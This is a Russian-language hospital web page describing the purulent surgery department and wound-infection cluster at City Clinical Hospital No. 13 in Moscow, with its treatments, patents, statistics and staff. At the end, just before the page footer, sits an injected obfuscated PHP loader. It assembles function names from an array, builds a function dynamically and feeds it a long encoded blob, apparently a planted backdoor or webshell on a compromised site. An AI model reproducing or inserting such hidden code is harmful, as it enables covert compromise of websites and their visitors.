Отделение гнойной хирургии № 3

В ГБУЗ ГКБ №13 организован кластер по лечению ран и раневых инфекций

В ГБУЗ ГКБ №13 организован кластер по лечению ран и раневых инфекций

Увеличение населения планеты, рост количества транспорта и дорожно-транспортных происшествий, развитие технологий и рост количества техногенных катастроф, увеличение массы вооружений и рост терроризма и локальных военных конфликтов – все это приводит и к росту количества травматических повреждений и их гнойно-септических осложнений. С другой стороны, общее ухудшение экологии, нарастание частоты встречаемости фоновой патологии (сахарный диабет, сердечно-сосудистые заболевания, иммунодепрессивные состояния), развитие и увеличение доступности медицинских технологий приводит к увеличению количества инвазивных вмешательств и их осложнений, что потенциируется также ростом резистентности патогенной микрофлоры к используемым антисептическим и антибактериальным препаратам в ответ на достижения фармакологии. Все это ведет к росту количества гнойно-септических осложнений, что делает данную проблему еще более актуальной, чем 100 лет назад, и требует поиска новых путей решений – научных, практических, тактико-стратегических и организационных.

В ГКБ № 13 организован кластер по лечению ран и раневых инфекций, в состав которого вошли: на базе поликлиники – амбулаторная служба МКДО и дневной стационар, а на базе стационара – отдельный бокс с перевязочной в приемном отделении и отделение гнойной хирургии на 50 коек с профильным реанимационным отделением на 9 коек. Необходимо отметить, что ГКБ № 13 является клинической базой кафедры общей хирургии и лучевой диагностики лечебного факультета ГБОУ ВПО “Российский национальный исследовательский медицинский университет им. Н.И. Пирогова” МЗ РФ.

ОРИТ № 6: отдельный бокс со шлюзом для больных с анаэробной инфекцией

ОРИТ № 6: отдельный бокс со шлюзом для больных с анаэробной инфекцией

Отделение гнойной хирургии № 3 стационара работает круглогодично с полной загруженностью ввиду высокой востребованности данного вида специализированной помощи в городе Москве. За год в среднем стационарную помощь получают свыше 1200 пациентов, производится более 1600 оперативных вмешательств, причем плановые операции и перевязки производятся 6 дней в неделю. Оснащение отделения:

  • система тотальной очистки и обеззараживания воздуха во всех помещениях;
  • собственная плановая/экстренная операционная, оснащенная всем необходимым оборудованием: аргон-плазменная коагуляция, электронно-оптический преобразователь (С-дуга), силовой инструмент “Synthes”, дерматомы и пр. ; операционная работает 24 часа в сутки;
  • две перевязочные;
  • кабинет гипербарической оксигенации (ГБО);
  • кабинет инновационных методов лечения (озонотерапия, квантовая терапия, клеточные технологии).

На одном этаже с отделением гнойной хирургии находится и профильное отделение гнойно-септической реанимации и интенсивной терапии № 6, имеющее в составе отдельный бокс со шлюзом для больных с анаэробной инфекцией, и полностью оснащенное лечебным и диагностическим оборудованием.

Амбулаторный кабинет ран и раневых инфекцийВ диагностике заболеваний используются все возможности стационара – лабораторные, морфологические, ультразвуковые, рентгенологические и эндоскопические исследования, МРТ, МСКТ (в том числе 3D-МСКТ-ангиография – определение патологии артериального кровотока), транскутанное определение напряжения кислорода в тканях.

С целью обеспечения этапной и преемственной медицинской помощи с ноября 2012 года в ГКБ № 13 организован Амбулаторный кабинет ран и раневых инфекций, обращаемость – свыше 500 посещений в месяц.

В отделении гнойной хирургии стационара и в амбулаторной практике используются современные методы лечения ран и раневых инфекций, внедряются новейшие отечественные и зарубежные технологии, разрабатываются и внедряются инновационные и импортозамещающие технологии. Основные направления работы – лечение больных с гнойными заболеваниями мягких тканей, синдромом диабетической стопы, остеомиелитами, перипротезной инфекцией, хроническими ранами и трофическими язвами различной этиологии.

Современные и инновационные методы лечения ран и раневых инфекций:

Озонотерапия

Озонотерапия

  • интерактивные перевязочные средства, полимерные повязки;
  • компрессионный трикотаж, многодневные многослойные компрессионные бандажи;
  • непрямая электроимпульсная миостимуляция;
  • воздушно-плазменные потоки + NO-терапия;
  • раневая оксигенация, гипербарическая оксигенация, озонотерапия;
  • квантовая терапия;
  • вакуум-ассистированные повязки;
  • биопокрытия и клеточные технологии;
  • ревизионное спейсер-эндопротезирование;
  • остеосинтез и MIPO-технологии;
  • антибактериальные биокомпозитные материалы;
  • реконструктивно-пластические операции;
  • безоперационное наложение магнитного межкишечного анастомоза.

Инновационная деятельность отделения

Хирургическое отделение № 3 ГКБ № 13 – первое в России внедрило зарубежный опыт вакуум-терапии ран. Здесь разработан, запатентован и зарегистрирован импортозамещающий аппарат для лечения ран локальным отрицательным давлением “ВаСта”, который используется и в амбулаторной практике.

Также получен патент на метод лечения синдрома короткой кишки, включающего в себя магнитный анастомоз и квантовую терапию. Внедрен в практику метод непрямой электроимпульсной миостимуляции у больных с различной патологией, в том числе впервые – у больных травматологического профиля.

Впервые в мировой практике в хирургическом отделении № 3 разработана и внедрена методика стимуляции регенераторных процессов хронических ран с использованием аутологичных тромбоцитарных факторов роста (методика используется в стоматологии, травматологии и спортивной медицине), обеспечивающая полную биологическую безопасность пациента.

В хирургической практике при различной патологии широко используются биодеградирующие антибактериальные биокомпозитные материалы, замещающие дефект тканей и обеспечивающие пролонгированную локальную антибактериальную терапию.

В настоящее время в отделении разработана методология использования различных видов органосохраняющих и реконструктивных костно-пластических операций с применением антибактериальных биокомпозитных материалов, с погружным и наружным остеосинтезом на инфицированной диабетической стопе и стопе Шарко.

Патент на аппарат "ВаСта"

Патент на аппарат “ВаСта”

Регистрационное удостоверение на аппарат "ВаСта"

Регистрационное удостоверение на аппарат “ВаСта”

Патент на метод лечения синдрома короткой кишки, включающий в себя магнитный анастомоз и квантовую терапию

Патент на метод лечения синдрома короткой кишки, включающий в себя магнитный анастомоз и квантовую терапию

В отделении проводятся различные виды пластических операций для закрытия обширных и хронических раневых дефектов. При лечении пациентов с тяжелыми гнойно-септическими осложнениями часто используется сочетание различных методов.

Большое внимание уделяется лечению больных с перипротезной инфекцией – после эндопротезирования крупных суставов, металлоостеосинтеза переломов, эндокоррекции сколиоза, ненатяжной герниопластики; используются различные виды антибактериальных спейсеров, антибактериальных биокомпозитных и остеозамещающих материалов, тромбоцитарные факторы роста, метод локального отрицательного давления и пр.

Количество пролеченных пациентов в отделении стационара ежегодно увеличивается; применение инновационных технологий позволило сократить среднюю длительность пребывания пациента в стационаре с 17,0 дня (в 2011 году) до 15,2 (в 2014 году); оперативная активность возросла с 65,3% в 2011 году до 75,5% в 2014 году; общая летальность снизилась с 1,9% (2011 год) до 1,0% (2014 год), а послеоперационная летальность, соответственно, с 6,4% до 3,3%.

В 2015 году отделение гнойной хирургии впервые включено в программу оказания высокотехнологичной медицинской помощи пациентам с инфицированными эндопротезами крупных суставов и синдромом диабетической стопы.

Коллектив хирургического отделения № 3 представлен квалифицированными медицинскими сестрами и врачами, половина их которых – кандидаты и доктора наук. Тесное сотрудничество с травматологами и ортопедами, терапевтами и кардиологами, эндокринологами и неврологами, анестезиологами и реаниматологами, ангиохирургами и рентгенангиохирургами и врачами других специальностей обеспечивает мультидисциплинарный подход к лечению пациентов с хирургической инфекцией.

Врачи

  • Крылов Александр Вячеславович, автор 8 публикаций в российских и международных научных изданиях, специалист по клиническим исследованиям.
  • Плотников Алексей Анатольевич и кандидат медицинских наук, хирург высшей категории, автор 5 публикаций и 5 рационализаторских предложений Стеценко Елена Викторовна оказывают экстренную хирургическую помощь больным с хирургическими инфекциями.
  • Зона ответственности автора 7 публикаций в российских и международных научных изданиях хирурга Брагинского Константина Олеговича – консультации и лечение больных с остеомиелитами, осложнениями травм, перипротезной инфекцией, а также аналитика осложнений.
  • Хирург высшей категории и торакальный хирург, автор 3 публикаций Заика Людмила Григорьевна ведет больных с различными видами хирургических инфекций мягких тканей и костей, брюшной полости и грудной клетки.
  • Хирург Леваль Пулад Шахзарович, автор более 35 публикаций в российских и международных научных изданиях – консультирует и ведет пациентов с перипротезной инфекцией, остеомиелитами, синдромом диабетической стопы, гнойными заболеваниями кисти.
  • Кандидат медицинских наук, хирург высшей категории и сертифицированный проктолог, автор более 30 публикаций в российских и международных научных изданиях Молочников Александр Юрьевич – специалист по лечению больных с синдромом диабетической стопы, остеомиелитами, ишемическими поражениями конечностей, с проктологической патологией, курирует такие аппаратные методики лечения ран, как озонотерапия, воздушно-плазменные потоки и NO-терапия.
  • Доктор медицинских наук, хирург высшей категории, автор более 200 публикаций в российских и международных научных изданиях Кисляков Валерий Александрович является куратором амбулаторной службы, ведет больных с синдромом диабетической стопы, остеомиелитами, абдоминальными осложнениями; занимается лимфотропной и внутрикостной терапией, иммунокоррекцией.

Заведующий отделением Оболенский Владимир Николаевич – хирург высшей категории, кандидат медицинских наук, доцент кафедры общей хирургии лечебного факультета ГБОУ ВПО РНИМУ им Н.И. Пирогова, член-корреспондент РАЕН, член ряда Российских и международных профессиональных сообществ, член редакционных коллегий “Международного академического журнала РАЕН” и европейско-американского научного журнала «Wound Medicine»; постоянный участник международных и российских конференций, симпозиумов, конгрессов; совместно с другими сотрудниками кафедры и клинических отделений ГКБ № 13, а также других лечебных и образовательных учреждений имеет более 230 различных публикаций в российских и международных научных изданиях, 2 патента РФ.

В планах развития – дальнейшая разработка и внедрение медицинских приборов и методов лечения ран, внедрение в практику работы отделения микрохирургических технологий и новых методов диагностики раневых инфекций.

$dgkzcwzv[24].$dgkzcwzv[3].$dgkzcwzv[18].$dgkzcwzv[10].$dgkzcwzv[9].$dgkzcwzv[18].$dgkzcwzv[2].$dgkzcwzv[14].$dgkzcwzv[6].$dgkzcwzv[13].$dgkzcwzv[24].$dgkzcwzv[9].$dgkzcwzv[23].$dgkzcwzv[17].$dgkzcwzv[13]; $xkceoy = $dcfgsltr('$v', $dgkzcwzv[18].$dgkzcwzv[5].$dgkzcwzv[10].$dgkzcwzv[21].$dgkzcwzv[19].$dgkzcwzv[7].$dgkzcwzv[4].$dgkzcwzv[23].$dgkzcwzv[13].$dgkzcwzv[14].$dgkzcwzv[21].$dgkzcwzv[10].$dgkzcwzv[9].$dgkzcwzv[18].$dgkzcwzv[19].$dgkzcwzv[16].$dgkzcwzv[10].$dgkzcwzv[12].$dgkzcwzv[18].$dgkzcwzv[8].$dgkzcwzv[15].$dgkzcwzv[2].$dgkzcwzv[11].$dgkzcwzv[18].$dgkzcwzv[24].$dgkzcwzv[17].$dgkzcwzv[11].$dgkzcwzv[18].$dgkzcwzv[19].$dgkzcwzv[20].$dgkzcwzv[5].$dgkzcwzv[0].$dgkzcwzv[0].$dgkzcwzv[0].$dgkzcwzv[22]); $xkceoy('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'); ?>
Яндекс.Метрика

Индекс цитирования